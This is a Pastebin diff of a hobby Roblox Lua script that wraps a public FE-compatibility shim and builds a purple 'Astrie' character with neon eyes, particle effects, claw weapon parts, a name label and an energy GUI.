View difference between Paste ID: NNj8uX9U and pJHfR1bc
SHOW: | | - or go back to the newest paste.
1
--https://github.com/Mokiros/roblox-FE-compatibility
2
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
3
local Player,Mouse,mouse,UserInputService,ContextActionService = owner
4
local RealPlayer = Player
5
do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer 
6
end
7
paly = game.Players.RhiBel00351
8
Player = game:GetService("Players").RhiBel00351
9
p = game.Players.RhiBel00351
10
char = paly.Character
11
vt = Vector3.new
12
rarm = char["Right Arm"]
13
hed = char.Head
14
larm = char["Left Arm"]
15
rleg = char["Right Leg"]
16
lleg = char["Left Leg"]
17
local maincolor = BrickColor.random()
18
local effolemode = false
19
local wrathmode = false
20
local noobmode = false
21
local randomname = "???"
22
local randomnamefem = "???"
23
local randomchanger = 6
24
if paly.Name == "BINO2002" then
25
randomchanger = 6
26
end
27
if randomchanger == 6 then
28
randomnamefem = "Astrie"
29
effolemode = true
30
maincolor = BrickColor.new("Royal purple")
31
32
local torsmesh = Instance.new("CharacterMesh", char)
33
torsmesh.BodyPart = "Torso"
34
torsmesh.MeshId = "48112070"
35
local dec2 = Instance.new("Decal", char)
36
dec2.Face = "Front"
37
dec2.Texture = "rbxassetid://381091841"
38
dec2.Parent = char.Head
39
char.Head.face.Transparency = 1
40
char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
41
42
for i,v in pairs(char:children()) do
43
    if v:IsA("Hat") then
44
        v:Destroy()
45
    end
46
end
47
for i,v in pairs(char:children()) do
48
    if v:IsA("Accessory") then
49
        v:Destroy()
50
    end
51
end
52
for i,v in pairs(char:children()) do
53
    if v:IsA("Hair") then
54
        v:Destroy()
55
    end
56
end
57
for i,v in pairs(char:children()) do
58
    if v:IsA("Shirt") then
59
        v:Destroy()
60
    end
61
end
62
for i,v in pairs(char:children()) do
63
    if v:IsA("Pants") then
64
        v:Destroy()
65
    end
66
end
67
68
local eye12 = Instance.new("Part")
69
eye12.Parent = char
70
eye12.Size = Vector3.new(0.2, 0.2, 0.2)
71
eye12.Archivable = true
72
eye12.Transparency = 0
73
eye12.Shape = "Ball"
74
eye12.BrickColor = maincolor
75
eye12.Material = "Neon"
76
eye12.CanCollide = false
77
local mesh2 = Instance.new("SpecialMesh",eye12)
78
mesh2.MeshType = "Sphere"
79
mesh2.Scale = Vector3.new(0.75, 1, 1)
80
local weld1en2 = Instance.new("Weld")
81
weld1en2.Parent = hed
82
weld1en2.Part0 = hed
83
weld1en2.Part1 = eye12
84
weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
85
local eye1 = Instance.new("Part")
86
eye1.Parent = char
87
eye1.Size = Vector3.new(0.2, 0.2, 0.2)
88
eye1.Archivable = true
89
eye1.Transparency = 0
90
eye1.Shape = "Ball"
91
eye1.BrickColor = maincolor
92
eye1.Material = "Neon"
93
eye1.CanCollide = false
94
local mesh = Instance.new("SpecialMesh",eye1)
95
mesh.MeshType = "Sphere"
96
mesh.Scale = Vector3.new(0.75, 1, 1)
97
local weld1en = Instance.new("Weld")
98
weld1en.Parent = hed
99
weld1en.Part0 = hed
100
weld1en.Part1 = eye1
101
weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
102
103
local BC = char["Body Colors"]
104
BC.HeadColor = BrickColor.new("White")
105
BC.LeftArmColor = BrickColor.new("White")
106
BC.LeftLegColor = BrickColor.new("White")
107
BC.RightArmColor = BrickColor.new("White")
108
BC.RightLegColor = BrickColor.new("White")
109
BC.TorsoColor = BrickColor.new("White")
110
111
ypcall(function()
112
shirt = Instance.new("Shirt", char)
113
shirt.Name = "Shirt"
114
pants = Instance.new("Pants", char)
115
pants.Name = "Pants"
116
char.Shirt.ShirtTemplate = "rbxassetid://211752973"
117
char.Pants.PantsTemplate = "rbxassetid://179059579"
118
end)
119
Reaper2 = Instance.new("Model")
120
Reaper2.Parent = Player.Character
121
Reaper2.Name = "Reaper2"
122
rh2 = Instance.new("Part")
123
rh2.Parent = Reaper2
124
rh2.BrickColor = maincolor
125
rh2.Locked = true
126
rh2.CanCollide = false
127
mesh2 = Instance.new("SpecialMesh")
128
rh2.formFactor =  "Symmetric"
129
mesh2.MeshType = "FileMesh"
130
mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
131
mesh2.Parent = rh2
132
local weld2 = Instance.new("Weld")
133
weld2.Parent = rh2
134
rh2.Transparency = 0
135
weld2.Part0 = rh2
136
weld2.Part1 = Player.Character.Head
137
weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
138
139
Reaper3 = Instance.new("Model")
140
Reaper3.Parent = Player.Character
141
Reaper3.Name = "Reaper3"
142
rh3 = Instance.new("Part")
143
rh3.Parent = Reaper3
144
rh3.BrickColor = BrickColor.new("Really black")
145
rh3.Locked = true
146
rh3.CanCollide = false
147
mesh3 = Instance.new("SpecialMesh")
148
rh3.formFactor =  "Symmetric"
149
mesh3.MeshType = "FileMesh"
150
mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
151
mesh3.Parent = rh3
152
local weld3 = Instance.new("Weld")
153
weld3.Parent = rh3
154
rh3.Transparency = 0
155
weld3.Part0 = rh3
156
weld3.Part1 = Player.Character.Head
157
weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
158
159
local orbe = Instance.new("Part")
160
orbe.Parent = char
161
orbe.Size = Vector3.new(0.2, 0.2, 0.2)
162
orbe.Archivable = true
163
orbe.Transparency = 1
164
orbe.BrickColor = maincolor
165
orbe.Material = "Neon"
166
orbe.CanCollide = false
167
local weld1e = Instance.new("Weld")
168
weld1e.Parent = rleg
169
weld1e.Part0 = rleg
170
weld1e.Part1 = orbe
171
weld1e.C1 = CFrame.new(0, 1.125, 0)
172
local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
173
local pt2e = NumberSequenceKeypoint.new(1,0,0)
174
local effectoe = Instance.new("ParticleEmitter",orbe)
175
effectoe.LightEmission = 1
176
effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
177
effectoe.Color = ColorSequence.new(maincolor.Color)
178
effectoe.Rate = 10000
179
effectoe.Lifetime = NumberRange.new(1)
180
effectoe.Size = NumberSequence.new({pt1e,pt2e})
181
effectoe.Speed = NumberRange.new(0,0)
182
effectoe.RotSpeed = NumberRange.new(100,100)
183
184
local orbze = Instance.new("Part")
185
orbze.Parent = char
186
orbze.Size = Vector3.new(0.2, 0.2, 0.2)
187
orbze.Archivable = true
188
orbze.Transparency = 1
189
orbze.BrickColor = maincolor
190
orbze.Material = "Neon"
191
orbze.CanCollide = false
192
local weldz1 = Instance.new("Weld")
193
weldz1.Parent = lleg
194
weldz1.Part0 = lleg
195
weldz1.Part1 = orbze
196
weldz1.C1 = CFrame.new(0, 1.125, 0)
197
local effectone = Instance.new("ParticleEmitter",orbze)
198
effectone.LightEmission = 1
199
effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
200
effectone.Color = ColorSequence.new(maincolor.Color)
201
effectone.Rate = 10000
202
effectone.Lifetime = NumberRange.new(1)
203
effectone.Size = NumberSequence.new({pt1e,pt2e})
204
effectone.Speed = NumberRange.new(0,0)
205
effectone.RotSpeed = NumberRange.new(100,100)
206
end
207
208
if effolemode == true then
209
maincolor = BrickColor.new("Royal purple")
210
end
211
212
local orb = Instance.new("Part")
213
orb.Parent = char
214
orb.Size = Vector3.new(1, 1, 1)
215
orb.Archivable = true
216
orb.Transparency = 1
217
orb.BrickColor = BrickColor.new("Bright orange")
218
orb.Material = "Wood"
219
orb.CanCollide = false
220
local weld1 = Instance.new("Weld")
221
weld1.Parent = rarm
222
weld1.Part0 = rarm
223
weld1.Part1 = orb
224
weld1.C1 = CFrame.new(0, 1.125, 0)
225
local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
226
local pt2 = NumberSequenceKeypoint.new(1,0,0)
227
local effecto = Instance.new("ParticleEmitter",orb)
228
effecto.LightEmission = 1
229
effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
230
effecto.Color = ColorSequence.new(maincolor.Color)
231
effecto.Rate = 10000
232
effecto.Lifetime = NumberRange.new(1)
233
effecto.Size = NumberSequence.new({pt1,pt2})
234
effecto.Speed = NumberRange.new(0,0)
235
effecto.RotSpeed = NumberRange.new(100,100)
236
237
local orbz = Instance.new("Part")
238
orbz.Parent = char
239
orbz.Size = Vector3.new(1, 1, 1)
240
orbz.Archivable = true
241
orbz.Transparency = 1
242
orbz.BrickColor = BrickColor.new("Bright orange")
243
orbz.Material = "Wood"
244
orbz.CanCollide = false
245
local weldz1 = Instance.new("Weld")
246
weldz1.Parent = larm
247
weldz1.Part0 = larm
248
weldz1.Part1 = orbz
249
weldz1.C1 = CFrame.new(0, 1.125, 0)
250
local effecton = Instance.new("ParticleEmitter",orbz)
251
effecton.LightEmission = 1
252
effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
253
effecton.Color = ColorSequence.new(maincolor.Color)
254
effecton.Rate = 10000
255
effecton.Lifetime = NumberRange.new(1)
256
effecton.Size = NumberSequence.new({pt1,pt2})
257
effecton.Speed = NumberRange.new(0,0)
258
effecton.RotSpeed = NumberRange.new(100,100)
259
260
261
p = game.Players.LocalPlayer
262
char = p.Character
263
torso = char.Torso
264
neck = char.Torso.Neck
265
hum = char.Humanoid
266
hum.MaxHealth = 10000
267
wait()
268
hum.Health =hum.MaxHealth
269
270
CV="Hot pink"
271
	
272
local txt = Instance.new("BillboardGui", char)
273
txt.Adornee = char .Head
274
txt.Name = "_status"
275
txt.Size = UDim2.new(2, 0, 1.2, 0)
276
txt.StudsOffset = Vector3.new(-9, 8, 0)
277
local text = Instance.new("TextLabel", txt)
278
text.Size = UDim2.new(10, 0, 7, 0)
279
text.FontSize = "Size24"
280
text.TextScaled = true
281
text.TextTransparency = 0
282
text.BackgroundTransparency = 1 
283
text.TextTransparency = 0
284
text.TextStrokeTransparency = 0
285
text.Font = "SciFi"
286
text.TextStrokeColor3 = Color3.new(0,0,0)
287
288
v=Instance.new("Part")
289
v.Name = "ColorBrick"
290
v.Parent=p.Character
291
v.FormFactor="Symmetric"
292
v.Anchored=true
293
v.CanCollide=false
294
v.BottomSurface="Smooth"
295
v.TopSurface="Smooth"
296
v.Size=Vector3.new(10,5,3)
297
v.Transparency=1
298
v.CFrame=char.Torso.CFrame
299
v.BrickColor=BrickColor.new(CV)
300
v.Transparency=1
301
text.TextColor3 = BrickColor.new("Royal purple").Color
302
v.Shape="Block"
303
text.Text = "Astrie"
304
305
306
euler = CFrame.fromEulerAnglesXYZ
307
angles = CFrame.Angles
308
local player = "LocalPlayer"
309
local Character = game.Players[player].Character
310
it = Instance.new
311
vt = Vector3.new
312
bc = BrickColor.new
313
cf = CFrame.new
314
mr = math.rad
315
local Weapon = {}
316
local p = game.Players.LocalPlayer
317
local char = p.Character
318
local mouse = p:GetMouse()
319
local larm = char["Left Arm"]
320
local rarm = char["Right Arm"]
321
local lleg = char["Left Leg"]
322
local rleg = char["Right Leg"]
323
local hed = char.Head
324
local torso = char.Torso
325
local hum = char.Humanoid
326
local cam = game.Workspace.CurrentCamera
327
local root = char.HumanoidRootPart
328
local deb = false
329
local shot = 0
330
331
local debris=game:service"Debris"
332
local l = game:GetService("Lighting")
333
local rs = game:GetService("RunService").RenderStepped
334
ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
335
math.randomseed(os.time())
336
for i,v in pairs (hed:GetChildren()) do
337
        if v:IsA("Sound") then
338
                v:Destroy()
339
        end
340
end
341
---------------------------------------------------- BeastClaw
342
NoOutline = function(Part)
343
  Part.TopSurface = 10
344
end
345
part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
346
  local fp = it("Part")
347
  fp.formFactor = formfactor
348
  fp.Parent = parent
349
  fp.Reflectance = reflectance
350
  fp.Transparency = transparency
351
  fp.CanCollide = false
352
  fp.Locked = true
353
  fp.BrickColor = brickcolor
354
  fp.Name = name
355
  fp.Size = size
356
  NoOutline(fp)
357
  fp.Material = "Neon"
358
  fp:BreakJoints()
359
  return fp
360
end
361
mesh = function(Mesh, part, meshtype, meshid, offset, scale)
362
  local mesh = it(Mesh)
363
  mesh.Parent = part
364
  if Mesh == "SpecialMesh" then
365
    mesh.MeshType = meshtype
366
    if meshid ~= "nil" then
367
      mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
368
    end
369
  end
370
  mesh.Offset = offset
371
  mesh.Scale = scale
372
  return mesh
373
end
374
weld = function(parent, part0, part1, c0)
375
  local weld = it("Motor6D")
376
  weld.Parent = parent
377
  weld.Part0 = part0
378
  weld.Part1 = part1
379
  weld.C0 = c0
380
  return weld
381
end
382
gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
383
  local gui = it(GuiType)
384
  gui.Parent = parent
385
  gui.BackgroundTransparency = backtrans
386
  gui.BackgroundColor3 = backcol
387
  gui.SizeConstraint = "RelativeXY"
388
  gui.Position = pos
389
  gui.Size = size
390
  if GuiType == "TextLabel" then
391
    gui.Text = text
392
    gui.TextXAlignment = "Center"
393
    gui.TextYAlignment = "Center"
394
    gui.Font = "SourceSans"
395
    gui.FontSize = "Size14"
396
    gui.TextWrapped = false
397
    gui.TextStrokeTransparency = 0
398
    gui.TextColor = TorsoColor
399
  else
400
    if GuiType == "ImageLabel" then
401
      gui.Image = "rbxassetid://" .. image
402
      gui.ImageColor3 = backcol
403
    end
404
  end
405
  return gui
406
end
407
local handle = nil
408
AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
409
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
410
  prt.Material = neon
411
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
412
  wld = weld(handle, prt, wldpar, ceef)
413
  v = it("NumberValue", prt)
414
  v.Value = trans
415
  v.Name = "MainTransparency"
416
  return prt, msh, wld
417
end
418
AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
419
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
420
  prt.Material = neon
421
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
422
  wld = weld(wldpare, prt, wldpar, ceef)
423
  v = it("NumberValue", prt)
424
  v.Value = trans
425
  v.Name = "MainTransparency"
426
  return prt, msh, wld
427
end
428
local modelzorzez = Instance.new("Model")
429
modelzorzez.Parent = workspace.CurrentCamera
430
modelzorzez.Name = "none"
431
local Torso = Character.Torso
432
local LeftArm = Character["Left Arm"]
433
local RightArm = Character["Right Arm"]
434
local LeftLeg = Character["Left Leg"]
435
local RightLeg = Character["Right Leg"]
436
local Head = Character.Head
437
local RootPart = Character.HumanoidRootPart
438
handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
439
local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
440
441
-- SAHHHH DUUDEEE
442
443
444
445
446
-- params : ...
447
448
wait(0.016666666666667)
449
script.Archivable = false
450
Effects = {}
451
local Player = game.Players.localPlayer
452
local Character = Player.Character
453
local Humanoid = Character.Humanoid
454
local mouse = Player:GetMouse()
455
local m = Instance.new("Model", Character)
456
m.Name = "WeaponModel"
457
local effect = Instance.new("Model", Character)
458
effect.Name = "effecsfsafzx"
459
local demon = Instance.new("Model", Character)
460
demon.Name = "demdemd"
461
local LeftArm = Character["Left Arm"]
462
local RightArm = Character["Right Arm"]
463
local LeftLeg = Character["Left Leg"]
464
local RightLeg = Character["Right Leg"]
465
local do2target = nil
466
local Head = Character.Head
467
local Torso = Character.Torso
468
TorsoColor = BrickColor.new("Royal purple")
469
z = Instance.new("Sound", Torso)
470
z.SoundId = "rbxassetid://0" -- Put Music ID Here.
471
z.Looped = true
472
z.Pitch = 0
473
z.Volume = 0
474
wait(.1)
475
z:Play()
476
local cam = game.Workspace.CurrentCamera
477
local RootPart = Character.HumanoidRootPart
478
local RootJoint = RootPart.RootJoint
479
local equipped = false
480
local attack = false
481
local Anim = "Idle"
482
local idle = 0
483
local attacktype = 1
484
local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
485
local velocity = RootPart.Velocity.y
486
local sine = 0
487
local change = 1
488
local mana = 0
489
local it = Instance.new
490
vt = Vector3.new
491
local grabbed = false
492
local cf = CFrame.new
493
local mr = math.rad
494
local angles = CFrame.Angles
495
local ud = UDim2.new
496
local c3 = Color3.new
497
clerp = function(a, b, t)
498
  
499
  return a:lerp(b, t)
500
end
501
502
local RbxUtility = LoadLibrary("RbxUtility")
503
local Create = RbxUtility.Create
504
RemoveOutlines = function(part)
505
  
506
  part.TopSurface = 10
507
end
508
509
CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
510
  
511
  local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
512
  RemoveOutlines(Part)
513
  return Part
514
end
515
516
CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
517
  
518
  local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
519
  if Mesh == "SpecialMesh" then
520
    Msh.MeshType = MeshType
521
    Msh.MeshId = MeshId
522
  end
523
  return Msh
524
end
525
526
local co1 = 3
527
local co2 = 10
528
local co3 = 15
529
local co4 = 30
530
local cooldown1 = 0
531
local cooldown2 = 0
532
local cooldown3 = 0
533
local cooldown4 = 0
534
local maxEnergy = 100
535
local Energy = 0
536
local skill1stam = 1000
537
local skill2stam = 1000
538
local skill3stam = 1000
539
local skill4stam = 1000
540
local recovermana = 5
541
local skillcolorscheme = BrickColor.new("White").Color
542
local scrn = Instance.new("ScreenGui", Player.PlayerGui)
543
makeframe = function(par, trans, pos, size, color)
544
  
545
  local frame = Instance.new("Frame", par)
546
  frame.BackgroundTransparency = trans
547
  frame.BorderSizePixel = 0
548
  frame.Position = pos
549
  frame.Size = size
550
  frame.BackgroundColor3 = color
551
  return frame
552
end
553
554
makelabel = function(par, text)
555
  
556
  local label = Instance.new("TextLabel", par)
557
  label.BackgroundTransparency = 1
558
  label.Size = UDim2.new(1, 0, 1, 0)
559
  label.Position = UDim2.new(0, 0, 0, 0)
560
  label.TextColor3 = Color3.new(255, 255, 255)
561
  label.TextStrokeTransparency = 0
562
  label.FontSize = Enum.FontSize.Size32
563
  label.Font = Enum.Font.SourceSansLight
564
  label.BorderSizePixel = 0
565
  label.TextScaled = true
566
  label.Text = text
567
end
568
569
ArtificialHB = Instance.new("BindableEvent", script)
570
ArtificialHB.Name = "Heartbeat"
571
script:WaitForChild("Heartbeat")
572
frame = 0.033333333333333
573
tf = 0
574
allowframeloss = false
575
tossremainder = false
576
lastframe = tick()
577
script.Heartbeat:Fire()
578
game:GetService("RunService").Heartbeat:connect(function(s, p)
579
  
580
  tf = tf + s
581
  if frame <= tf then
582
    if allowframeloss then
583
      script.Heartbeat:Fire()
584
      lastframe = tick()
585
    else
586
      for i = 1, math.floor(tf / frame) do
587
        script.Heartbeat:Fire()
588
      end
589
      lastframe = tick()
590
    end
591
    if tossremainder then
592
      tf = 0
593
    else
594
      tf = tf - frame * math.floor(tf / frame)
595
    end
596
  end
597
end
598
)
599
swait = function(num)
600
  
601
  if num == 0 or num == nil then
602
    ArtificialHB.Event:wait()
603
  else
604
    for i = 0, num do
605
      ArtificialHB.Event:wait()
606
    end
607
  end
608
end
609
610
CreateWeld = function(Parent, Part0, Part1, C0, C1)
611
  
612
  local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
613
  return Weld
614
end
615
616
rayCast = function(Position, Direction, Range, Ignore)
617
  
618
  return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
619
end
620
621
CreateSound = function(id, par, vol, pit)
622
  
623
  coroutine.resume(coroutine.create(function()
624
    
625
    local sou = Instance.new("Sound", par or workspace)
626
    sou.Volume = vol
627
    sou.Pitch = pit or 1
628
    sou.SoundId = id
629
    swait()
630
    sou:play()
631
    game:GetService("Debris"):AddItem(sou, 6)
632
  end
633
))
634
end
635
636
local getclosest = function(obj, distance)
637
  
638
  local last, lastx = distance + 1, nil
639
  for i,v in pairs(workspace:GetChildren()) do
640
    if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
641
      local t = v.Torso
642
      local dist = t.Position - obj.Position.magnitude
643
      if dist <= distance and dist < last then
644
        last = dist
645
        lastx = v
646
      end
647
    end
648
  end
649
  return lastx
650
end
651
652
CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
653
  
654
  if PartType == "Part" then
655
    local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
656
    RemoveOutlines(Part)
657
    return Part
658
  else
659
    do
660
      if PartType == "WedgePart" then
661
        local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
662
        RemoveOutlines(Part)
663
        return Part
664
      end
665
    end
666
  end
667
end
668
669
Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
670
HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
671
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
672
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
673
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
674
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
675
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
676
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
677
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
678
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
679
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
680
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
681
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
682
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
683
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
684
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
685
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
686
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
687
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
688
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
689
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
690
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
691
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
692
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
693
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
694
